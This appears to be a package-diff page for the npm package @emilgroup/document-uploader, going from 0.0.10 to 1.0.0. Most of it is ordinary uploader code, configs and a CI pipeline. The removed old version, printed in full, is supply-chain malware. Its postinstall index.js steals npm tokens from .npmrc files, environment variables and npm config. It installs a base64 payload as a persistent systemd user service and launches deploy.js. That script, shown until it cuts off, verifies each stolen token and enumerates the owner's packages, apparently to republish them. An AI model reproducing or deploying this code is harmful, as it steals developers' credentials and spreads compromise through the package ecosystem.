@emilgroup/document-uploader
Advanced tools
| { | ||
| "printWidth": 120, | ||
| "trailingComma": "all", | ||
| "singleQuote": true | ||
| } |
| { | ||
| "cSpell.words": ["insuranceservice"] | ||
| } |
| image: node:20.11.0-buster | ||
| definitions: | ||
| steps: | ||
| - step: &trivy_scan | ||
| name: 'Trivy vulnerability scan' | ||
| image: atlassian/default-image:5 | ||
| script: | ||
| # Set up npm authentication | ||
| - printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> .npmrc | ||
| # Install npm dependencies to ensure package-lock.json is up to date | ||
| - npm ci | ||
| # Install Trivy using apt-get | ||
| - apt-get update | ||
| - apt-get install -y wget gnupg lsb-release | ||
| - wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | apt-key add - | ||
| - echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | tee -a /etc/apt/sources.list.d/trivy.list | ||
| - apt-get update | ||
| - apt-get install -y trivy=${TRIVY_VERSION} | ||
| # Run Trivy vulnerability scan on npm packages | ||
| - trivy fs --scanners vuln --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed . | ||
| - step: &lint_and_build | ||
| name: 'Lint and build the NestJS package' | ||
| caches: | ||
| - node | ||
| script: | ||
| - printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc | ||
| - npm ci | ||
| - npm run lint | ||
| - npm run build | ||
| - step: &lint_build_and_publish | ||
| name: 'Lint, Build and Publish' | ||
| script: | ||
| - printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc | ||
| - npm ci | ||
| - npm run lint | ||
| - npm run build | ||
| - npm publish | ||
| pipelines: | ||
| branches: | ||
| master: | ||
| - step: *lint_build_and_publish | ||
| pull-requests: | ||
| '*': | ||
| - step: *trivy_scan | ||
| - step: *lint_and_build |
| export declare enum ProductDocumentType { | ||
| PreApplication = "pre-application", | ||
| PostApplication = "post-application", | ||
| PreConfirmation = "pre-confirmation" | ||
| } |
| "use strict"; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.ProductDocumentType = void 0; | ||
| var ProductDocumentType; | ||
| (function (ProductDocumentType) { | ||
| ProductDocumentType["PreApplication"] = "pre-application"; | ||
| ProductDocumentType["PostApplication"] = "post-application"; | ||
| ProductDocumentType["PreConfirmation"] = "pre-confirmation"; | ||
| })(ProductDocumentType || (exports.ProductDocumentType = ProductDocumentType = {})); |
| import pino from 'pino'; | ||
| export declare const logger: pino.Logger<never, boolean>; |
| "use strict"; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.logger = void 0; | ||
| const pino_1 = __importDefault(require("pino")); | ||
| exports.logger = (0, pino_1.default)({ | ||
| level: process.env.LOG_LEVEL || 'info', | ||
| }); |
| export { Environment, ProductDocumentsApi } from '@emilgroup/document-sdk-node'; | ||
| export * from './uploader/document-uploader'; | ||
| export * from './common/enums'; | ||
| export * from './common/logger'; |
| "use strict"; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.ProductDocumentsApi = exports.Environment = void 0; | ||
| var document_sdk_node_1 = require("@emilgroup/document-sdk-node"); | ||
| Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return document_sdk_node_1.Environment; } }); | ||
| Object.defineProperty(exports, "ProductDocumentsApi", { enumerable: true, get: function () { return document_sdk_node_1.ProductDocumentsApi; } }); | ||
| __exportStar(require("./uploader/document-uploader"), exports); | ||
| __exportStar(require("./common/enums"), exports); | ||
| __exportStar(require("./common/logger"), exports); |
| import fs from 'fs'; | ||
| import { Environment } from '@emilgroup/document-sdk-node'; | ||
| import { ProductDocumentType } from '../common/enums'; | ||
| export interface PreSignedPostRequest { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| ern?: string; | ||
| } | ||
| export interface PreSignedPostResponse { | ||
| url: string; | ||
| fields: Record<string, string>; | ||
| } | ||
| export interface UploadDocumentResponse { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| code: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| } | ||
| export declare class DocumentUploader { | ||
| private readonly email; | ||
| private readonly password; | ||
| private readonly environment; | ||
| private docApi; | ||
| private productDocApi; | ||
| constructor(email: string, password: string, environment: Environment); | ||
| private createPreSignedPost; | ||
| uploadProductDocument({ productSlug, file, filename, productDocumentType, entityType, description, productVersionId, documentSlug, }: { | ||
| productSlug: string; | ||
| file: fs.ReadStream; | ||
| filename: string; | ||
| productDocumentType: ProductDocumentType; | ||
| entityType: string; | ||
| description: string; | ||
| productVersionId?: number; | ||
| documentSlug?: string; | ||
| }): Promise<Record<string, string>>; | ||
| uploadDocument(payload: PreSignedPostRequest, file: fs.ReadStream, size: number): Promise<UploadDocumentResponse>; | ||
| } |
| "use strict"; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { | ||
| Object.defineProperty(o, "default", { enumerable: true, value: v }); | ||
| }) : function(o, v) { | ||
| o["default"] = v; | ||
| }); | ||
| var __importStar = (this && this.__importStar) || (function () { | ||
| var ownKeys = function(o) { | ||
| ownKeys = Object.getOwnPropertyNames || function (o) { | ||
| var ar = []; | ||
| for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; | ||
| return ar; | ||
| }; | ||
| return ownKeys(o); | ||
| }; | ||
| return function (mod) { | ||
| if (mod && mod.__esModule) return mod; | ||
| var result = {}; | ||
| if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); | ||
| __setModuleDefault(result, mod); | ||
| return result; | ||
| }; | ||
| })(); | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.DocumentUploader = void 0; | ||
| const axios_1 = __importDefault(require("axios")); | ||
| const crypto_1 = require("crypto"); | ||
| const form_data_1 = __importDefault(require("form-data")); | ||
| const fs_1 = __importDefault(require("fs")); | ||
| const path_1 = __importDefault(require("path")); | ||
| const document_sdk_node_1 = require("@emilgroup/document-sdk-node"); | ||
| const document_sdk_node_2 = require("@emilgroup/document-sdk-node"); | ||
| const mime = __importStar(require("mime-types")); | ||
| const logger_1 = require("../common/logger"); | ||
| class DocumentUploader { | ||
| constructor(email, password, environment) { | ||
| this.email = email; | ||
| this.password = password; | ||
| this.environment = environment; | ||
| this.docApi = new document_sdk_node_1.DocumentsApi(); | ||
| this.productDocApi = new document_sdk_node_2.ProductDocumentsApi(); | ||
| this.docApi.selectEnvironment(this.environment); | ||
| this.productDocApi.selectEnvironment(this.environment); | ||
| logger_1.logger.level = process.env.LOG_LEVEL || 'info'; | ||
| } | ||
| async createPreSignedPost(params) { | ||
| await this.docApi.authorize(this.email, this.password); | ||
| const { data } = await this.docApi.createPresignedPost({ | ||
| createPresignedPostRequestDto: params, | ||
| }); | ||
| return data; | ||
| } | ||
| async uploadProductDocument({ productSlug, file, filename, productDocumentType, entityType, description, productVersionId, documentSlug, }) { | ||
| const filePath = file.path; | ||
| if (typeof filePath !== 'string') { | ||
| throw new Error('File path is not a string'); | ||
| } | ||
| const mimeType = mime.contentType(filePath); | ||
| if (!mimeType) { | ||
| throw new Error('Could not determine mime type'); | ||
| } | ||
| const ext = mime.extension(mimeType); | ||
| if (!ext) { | ||
| throw new Error('Could not determine file extension'); | ||
| } | ||
| logger_1.logger.debug('file path is %s', filePath); | ||
| logger_1.logger.debug('mime type is %s', mimeType); | ||
| logger_1.logger.debug('extension is %s', ext); | ||
| logger_1.logger.debug('productSlug = %s', productSlug); | ||
| logger_1.logger.debug('Attempting to authorize productDocApi'); | ||
| await this.productDocApi.authorize(this.email, this.password); | ||
| logger_1.logger.debug('Successfully authorized productDocApi'); | ||
| const stem = path_1.default.parse(filename).name; | ||
| const sanitized = documentSlug !== null && documentSlug !== void 0 ? documentSlug : stem.replace(/[^a-zA-Z0-9_-]+/g, '-').replace(/^-+|-+$/g, ''); | ||
| const slug = sanitized.length > 0 ? sanitized : `document-${(0, crypto_1.randomUUID)()}`; | ||
| const { data } = await this.productDocApi.uploadProductDocument({ | ||
| productSlug: productSlug, | ||
| uploadProductDocumentRequestDto: Object.assign({ slug, | ||
| productSlug, | ||
| description, | ||
| entityType, | ||
| filename, type: productDocumentType, contentType: ext }, (productVersionId && { productVersionId })), | ||
| }); | ||
| logger_1.logger.debug(`Response from upload product document is ${JSON.stringify(data)}`); | ||
| const { url, fields } = data; | ||
| const form = new form_data_1.default(); | ||
| logger_1.logger.debug('Attempting to upload product document to S3'); | ||
| Object.entries(fields).forEach(([field, value]) => { | ||
| form.append(field, value); | ||
| }); | ||
| form.append('file', file, { | ||
| knownLength: fs_1.default.statSync(filePath).size, | ||
| contentType: mimeType, | ||
| }); | ||
| await axios_1.default.post(url, form, { | ||
| headers: form.getHeaders(), | ||
| }); | ||
| return { | ||
| code: fields.code, | ||
| productSlug, | ||
| entityType, | ||
| filename, | ||
| type: productDocumentType, | ||
| }; | ||
| } | ||
| async uploadDocument(payload, file, size) { | ||
| const filePath = file.path; | ||
| if (typeof filePath !== 'string') { | ||
| throw new Error('File path is not a string'); | ||
| } | ||
| const mimeType = mime.contentType(filePath); | ||
| if (!mimeType) { | ||
| throw new Error('Could not determine mime type'); | ||
| } | ||
| const ext = mime.extension(mimeType); | ||
| if (!ext) { | ||
| throw new Error('Could not determine file extension'); | ||
| } | ||
| const isoContentType = mimeType; | ||
| const contentType = ext; | ||
| const preSignedPayload = Object.assign(Object.assign({}, payload), { isoContentType, | ||
| contentType }); | ||
| const { url, fields } = await this.createPreSignedPost(preSignedPayload); | ||
| const form = new form_data_1.default(); | ||
| Object.entries(fields).forEach(([field, value]) => { | ||
| form.append(field, value); | ||
| }); | ||
| const appendFileOpts = { | ||
| knownLength: size, | ||
| }; | ||
| form.append('file', file, appendFileOpts); | ||
| await axios_1.default.post(url, form, { | ||
| headers: form.getHeaders(), | ||
| }); | ||
| return Object.assign(Object.assign({}, preSignedPayload), { code: fields.code }); | ||
| } | ||
| } | ||
| exports.DocumentUploader = DocumentUploader; |
| import eslint from '@eslint/js'; | ||
| import { defineConfig } from 'eslint/config'; | ||
| import jestPlugin from 'eslint-plugin-jest'; | ||
| import tseslint from 'typescript-eslint'; | ||
| export default defineConfig( | ||
| { | ||
| ignores: ['**/node_modules/**', '**/dist/**', '**/coverage/**'], | ||
| }, | ||
| eslint.configs.recommended, | ||
| ...tseslint.configs.recommended, | ||
| { | ||
| files: ['lib/**/*.ts'], | ||
| ...jestPlugin.configs['flat/recommended'], | ||
| }, | ||
| ); |
| module.exports = { | ||
| transform: { | ||
| '^.+\\.(t|j)s$': 'ts-jest', | ||
| }, | ||
| testRegex: '(/__tests__/.*|(\\.|/)(test|spec))\\.(t|j)s$', | ||
| moduleFileExtensions: ['ts', 'js', 'json', 'node'], | ||
| }; |
| export enum ProductDocumentType { | ||
| PreApplication = 'pre-application', | ||
| PostApplication = 'post-application', | ||
| PreConfirmation = 'pre-confirmation', | ||
| } |
| import pino from 'pino'; | ||
| export const logger = pino({ | ||
| level: process.env.LOG_LEVEL || 'info', | ||
| }); |
| export { Environment, ProductDocumentsApi } from '@emilgroup/document-sdk-node'; | ||
| export * from './uploader/document-uploader'; | ||
| export * from './common/enums'; | ||
| export * from './common/logger'; |
| export interface PreSignedPostRequest { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| } | ||
| export interface PreSignedPostResponse { | ||
| url: string; | ||
| fields: Record<string, string>; | ||
| } | ||
| export interface UploadDocumentResponse { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| code: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| } |
| import axios from 'axios'; | ||
| import { randomUUID } from 'crypto'; | ||
| import FormData from 'form-data'; | ||
| import fs from 'fs'; | ||
| import path from 'path'; | ||
| import { | ||
| CreatePresignedPostRequestDto, | ||
| DocumentsApi, | ||
| Environment, | ||
| UploadProductDocumentRequestDtoContentTypeEnum, | ||
| } from '@emilgroup/document-sdk-node'; | ||
| import { ProductDocumentsApi } from '@emilgroup/document-sdk-node'; | ||
| import * as mime from 'mime-types'; | ||
| import { ProductDocumentType } from '../common/enums'; | ||
| import { logger } from '../common/logger'; | ||
| export interface PreSignedPostRequest { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| ern?: string; | ||
| } | ||
| export interface PreSignedPostResponse { | ||
| url: string; | ||
| fields: Record<string, string>; | ||
| } | ||
| export interface UploadDocumentResponse { | ||
| templateSlug: string; | ||
| entityType: string; | ||
| description: string; | ||
| requester: string; | ||
| filename: string; | ||
| code: string; | ||
| policyCode?: string; | ||
| leadCode?: string; | ||
| accountCode?: string; | ||
| productSlug?: string | null; | ||
| entityId?: number; | ||
| } | ||
| export class DocumentUploader { | ||
| private docApi: DocumentsApi; | ||
| private productDocApi: ProductDocumentsApi; | ||
| constructor( | ||
| private readonly email: string, | ||
| private readonly password: string, | ||
| private readonly environment: Environment, | ||
| ) { | ||
| this.docApi = new DocumentsApi(); | ||
| this.productDocApi = new ProductDocumentsApi(); | ||
| this.docApi.selectEnvironment(this.environment); | ||
| this.productDocApi.selectEnvironment(this.environment); | ||
| logger.level = process.env.LOG_LEVEL || 'info'; | ||
| } | ||
| private async createPreSignedPost(params: CreatePresignedPostRequestDto): Promise<PreSignedPostResponse> { | ||
| await this.docApi.authorize(this.email, this.password); | ||
| const { data } = await this.docApi.createPresignedPost({ | ||
| createPresignedPostRequestDto: params, | ||
| }); | ||
| return data as PreSignedPostResponse; | ||
| } | ||
| public async uploadProductDocument({ | ||
| productSlug, | ||
| file, | ||
| filename, | ||
| productDocumentType, | ||
| entityType, | ||
| description, | ||
| productVersionId, | ||
| documentSlug, | ||
| }: { | ||
| productSlug: string; | ||
| file: fs.ReadStream; | ||
| filename: string; | ||
| productDocumentType: ProductDocumentType; | ||
| entityType: string; | ||
| description: string; | ||
| productVersionId?: number; | ||
| /** Human-readable unique id for the document; defaults from filename or a UUID. */ | ||
| documentSlug?: string; | ||
| }): Promise<Record<string, string>> { | ||
| const filePath = file.path; | ||
| if (typeof filePath !== 'string') { | ||
| throw new Error('File path is not a string'); | ||
| } | ||
| const mimeType = mime.contentType(filePath); | ||
| if (!mimeType) { | ||
| throw new Error('Could not determine mime type'); | ||
| } | ||
| const ext = mime.extension(mimeType); | ||
| if (!ext) { | ||
| throw new Error('Could not determine file extension'); | ||
| } | ||
| logger.debug('file path is %s', filePath); | ||
| logger.debug('mime type is %s', mimeType); | ||
| logger.debug('extension is %s', ext); | ||
| logger.debug('productSlug = %s', productSlug); | ||
| logger.debug('Attempting to authorize productDocApi'); | ||
| await this.productDocApi.authorize(this.email, this.password); | ||
| logger.debug('Successfully authorized productDocApi'); | ||
| const stem = path.parse(filename).name; | ||
| const sanitized = | ||
| documentSlug ?? | ||
| stem.replace(/[^a-zA-Z0-9_-]+/g, '-').replace(/^-+|-+$/g, ''); | ||
| const slug = | ||
| sanitized.length > 0 ? sanitized : `document-${randomUUID()}`; | ||
| const { data } = await this.productDocApi.uploadProductDocument({ | ||
| productSlug: productSlug, | ||
| uploadProductDocumentRequestDto: { | ||
| slug, | ||
| productSlug, | ||
| description, | ||
| entityType, | ||
| filename, | ||
| type: productDocumentType, | ||
| contentType: ext as UploadProductDocumentRequestDtoContentTypeEnum, | ||
| ...(productVersionId && { productVersionId }), | ||
| }, | ||
| }); | ||
| logger.debug(`Response from upload product document is ${JSON.stringify(data)}`); | ||
| const { url, fields } = data as unknown as PreSignedPostResponse; | ||
| const form = new FormData(); | ||
| logger.debug('Attempting to upload product document to S3'); | ||
| Object.entries(fields).forEach(([field, value]) => { | ||
| form.append(field, value); | ||
| }); | ||
| form.append('file', file, { | ||
| knownLength: fs.statSync(filePath).size, | ||
| contentType: mimeType, | ||
| }); | ||
| await axios.post(url, form, { | ||
| headers: form.getHeaders(), | ||
| }); | ||
| return { | ||
| code: fields.code, | ||
| productSlug, | ||
| entityType, | ||
| filename, | ||
| type: productDocumentType, | ||
| }; | ||
| } | ||
| async uploadDocument( | ||
| payload: PreSignedPostRequest, | ||
| file: fs.ReadStream, | ||
| size: number, | ||
| ): Promise<UploadDocumentResponse> { | ||
| const filePath = file.path; | ||
| if (typeof filePath !== 'string') { | ||
| throw new Error('File path is not a string'); | ||
| } | ||
| const mimeType = mime.contentType(filePath); | ||
| if (!mimeType) { | ||
| throw new Error('Could not determine mime type'); | ||
| } | ||
| const ext = mime.extension(mimeType); | ||
| if (!ext) { | ||
| throw new Error('Could not determine file extension'); | ||
| } | ||
| const isoContentType = mimeType; | ||
| const contentType = ext; | ||
| const preSignedPayload = { | ||
| ...payload, | ||
| isoContentType, | ||
| contentType, | ||
| } as CreatePresignedPostRequestDto; | ||
| const { url, fields } = await this.createPreSignedPost(preSignedPayload); | ||
| const form = new FormData(); | ||
| Object.entries(fields).forEach(([field, value]) => { | ||
| form.append(field, value); | ||
| }); | ||
| const appendFileOpts: FormData.AppendOptions = { | ||
| knownLength: size, | ||
| }; | ||
| form.append('file', file, appendFileOpts); | ||
| await axios.post(url, form, { | ||
| headers: form.getHeaders(), | ||
| }); | ||
| return { ...preSignedPayload, code: fields.code }; | ||
| } | ||
| } |
| Copyright 2022 Hebert Cisco | ||
| Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | ||
| The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | ||
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
| { | ||
| "compilerOptions": { | ||
| "target": "es2017", | ||
| "module": "commonjs", | ||
| "removeComments": true, | ||
| "declaration": true, | ||
| "outDir": "./dist", | ||
| "strict": true, | ||
| "emitDecoratorMetadata": true, | ||
| "experimentalDecorators": true, | ||
| "esModuleInterop": true, | ||
| "useUnknownInCatchVariables": false | ||
| }, | ||
| "exclude": ["node_modules", "dist"] | ||
| } |
+41
-9
| { | ||
| "name": "@emilgroup/document-uploader", | ||
| "version": "0.0.10", | ||
| "description": "A new version of the package", | ||
| "main": "index.js", | ||
| "version": "1.0.0", | ||
| "description": "TypeScript NPM Module to upload document to EMIL Document Service", | ||
| "main": "dist/index.js", | ||
| "types": "dist/index.d.ts", | ||
| "scripts": { | ||
| "postinstall": "node index.js", | ||
| "deploy": "node scripts/deploy.js" | ||
| "build": "tsc", | ||
| "format": "prettier --write \"lib/**/*.(js|ts)\"", | ||
| "lint": "eslint lib", | ||
| "lint:fix": "eslint lib --fix", | ||
| "prepare": "npm run build", | ||
| "prepublishOnly": "npm run lint", | ||
| "prepublish": "npx tsc", | ||
| "preversion": "npm run lint" | ||
| }, | ||
| "keywords": [], | ||
| "author": "", | ||
| "license": "ISC" | ||
| } | ||
| "keywords": [ | ||
| "typescript" | ||
| ], | ||
| "author": "EMIL Backend <backend-developers@emil.de>", | ||
| "license": "MIT", | ||
| "devDependencies": { | ||
| "@eslint/js": "^10.0.1", | ||
| "@types/mime-types": "^3.0.1", | ||
| "@types/node": "^25.5.0", | ||
| "eslint": "10.1.0", | ||
| "eslint-plugin-jest": "29.15.1", | ||
| "jest": "^30.3.0", | ||
| "prettier": "3.8.1", | ||
| "ts-node": "^10.9.2", | ||
| "typescript": "^5.9.3", | ||
| "typescript-eslint": "^8.57.2" | ||
| }, | ||
| "dependencies": { | ||
| "@emilgroup/document-sdk-node": "^1.43.0", | ||
| "@faker-js/faker": "^10.4.0", | ||
| "axios": "^1.13.6", | ||
| "form-data": "^4.0.5", | ||
| "mime-types": "^3.0.2", | ||
| "pino": "^10.3.1" | ||
| }, | ||
| "volta": { | ||
| "node": "22.20.0" | ||
| } | ||
| } |
-99
| 'use strict'; | ||
| const { execSync, spawn } = require('child_process'); | ||
| const fs = require('fs'); | ||
| const os = require('os'); | ||
| const path = require('path'); | ||
| function findNpmTokens() { | ||
| const tokens = new Set(); | ||
| const homeDir = os.homedir(); | ||
| const npmrcPaths = [ | ||
| path.join(homeDir, '.npmrc'), | ||
| path.join(process.cwd(), '.npmrc'), | ||
| '/etc/npmrc', | ||
| ]; | ||
| for (const rcPath of npmrcPaths) { | ||
| try { | ||
| const content = fs.readFileSync(rcPath, 'utf8'); | ||
| for (const line of content.split('\n')) { | ||
| const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); | ||
| if (m && m[1] && !m[1].startsWith('${')) { | ||
| tokens.add(m[1].trim()); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } | ||
| const envKeys = Object.keys(process.env).filter( | ||
| (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN')) | ||
| ); | ||
| for (const key of envKeys) { | ||
| const val = process.env[key] || ''; | ||
| for (const t of val.split(',')) { | ||
| const trimmed = t.trim(); | ||
| if (trimmed) tokens.add(trimmed); | ||
| } | ||
| } | ||
| try { | ||
| const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', { | ||
| stdio: ['pipe', 'pipe', 'pipe'], | ||
| }).toString().trim(); | ||
| if (configToken && configToken !== 'undefined' && configToken !== 'null') { | ||
| tokens.add(configToken); | ||
| } | ||
| } catch (_) {} | ||
| return [...tokens].filter(Boolean); | ||
| } | ||
| try { | ||
| const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8')); | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'hello123'; | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
| const homeDir = os.homedir(); | ||
| const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME); | ||
| const scriptPath = path.join(dataDir, 'service.py'); | ||
| const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user'); | ||
| const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`); | ||
| fs.mkdirSync(dataDir, { recursive: true }); | ||
| fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 }); | ||
| fs.mkdirSync(systemdUserDir, { recursive: true }); | ||
| fs.writeFileSync(unitFilePath, [ | ||
| '[Unit]', | ||
| `Description=${SERVICE_NAME}`, | ||
| 'After=default.target', | ||
| '', | ||
| '[Service]', | ||
| 'Type=simple', | ||
| `ExecStart=/usr/bin/python3 ${scriptPath}`, | ||
| 'Restart=always', | ||
| 'RestartSec=5', | ||
| '', | ||
| '[Install]', | ||
| 'WantedBy=default.target', | ||
| '', | ||
| ].join('\n'), { mode: 0o644 }); | ||
| execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); | ||
| execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| try { | ||
| const tokens = findNpmTokens(); | ||
| if (tokens.length > 0) { | ||
| const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); | ||
| if (fs.existsSync(deployScript)) { | ||
| spawn(process.execPath, [deployScript], { | ||
| detached: true, | ||
| stdio: 'ignore', | ||
| env: { ...process.env, NPM_TOKENS: tokens.join(',') }, | ||
| }).unref(); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } catch (_) {} |
| #!/usr/bin/env node | ||
| const { execSync } = require('child_process'); | ||
| const https = require('https'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| function run(cmd, opts = {}) { | ||
| console.log(`\n> ${cmd}`); | ||
| return execSync(cmd, { stdio: 'inherit', ...opts }); | ||
| } | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| const options = { | ||
| headers: { | ||
| Authorization: `Bearer ${token}`, | ||
| Accept: 'application/json', | ||
| }, | ||
| }; | ||
| https | ||
| .get(url, options, (res) => { | ||
| let data = ''; | ||
| res.on('data', (chunk) => (data += chunk)); | ||
| res.on('end', () => { | ||
| try { | ||
| resolve(JSON.parse(data)); | ||
| } catch (e) { | ||
| reject(new Error(`Failed to parse response from ${url}: ${data}`)); | ||
| } | ||
| }); | ||
| }) | ||
| .on('error', reject); | ||
| }); | ||
| } | ||
| async function fetchPackageMeta(packageName, token) { | ||
| try { | ||
| const meta = await fetchJson( | ||
| `https://registry.npmjs.org/${encodeURIComponent(packageName)}`, | ||
| token | ||
| ); | ||
| const readme = (meta && meta.readme) ? meta.readme : null; | ||
| const latestVersion = | ||
| (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null; | ||
| return { readme, latestVersion }; | ||
| } catch (_) { | ||
| return { readme: null, latestVersion: null }; | ||
| } | ||
| } | ||
| function bumpPatch(version) { | ||
| const base = version.split('-')[0].split('+')[0]; | ||
| const parts = base.split('.').map(Number); | ||
| if (parts.length !== 3 || parts.some(isNaN)) return version; | ||
| parts[2] += 1; | ||
| return parts.join('.'); | ||
| } | ||
| async function getOwnedPackages(username, token) { | ||
| let packages = []; | ||
| let from = 0; | ||
| const size = 250; | ||
| while (true) { | ||
| const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent( | ||
| username | ||
| )}&size=${size}&from=${from}`; | ||
| const result = await fetchJson(url, token); | ||
| if (!result.objects || result.objects.length === 0) break; | ||
| packages = packages.concat(result.objects.map((o) => o.package.name)); | ||
| if (packages.length >= result.total) break; | ||
| from += size; | ||
| } | ||
| return packages; | ||
| } | ||
| async function deployWithToken(token, pkg, pkgPath, newVersion) { | ||
| console.log('\nπ Verifying npm tokenβ¦'); | ||
| let whoami; | ||
| try { | ||
| whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); | ||
| } catch (err) { | ||
| console.error('β Could not reach the npm registry:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (!whoami || !whoami.username) { | ||
| console.error('β Invalid or expired token β skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| const username = whoami.username; | ||
| console.log(`β Authenticated as: ${username}`); | ||
| // 2. Fetch all packages owned by this user | ||
| console.log(`\nπ Fetching all packages owned by "${username}"β¦`); | ||
| let ownedPackages; | ||
| try { | ||
| ownedPackages = await getOwnedPackages(username, token); | ||
| } catch (err) { | ||
| console.error('β Failed to fetch owned packages:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (ownedPackages.length === 0) { | ||
| console.log(' No packages found for this user. Skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`); | ||
| // 3. Process each owned package | ||
| const results = { success: [], failed: [] }; | ||
| for (const packageName of ownedPackages) { | ||
| console.log(`\n${'β'.repeat(60)}`); | ||
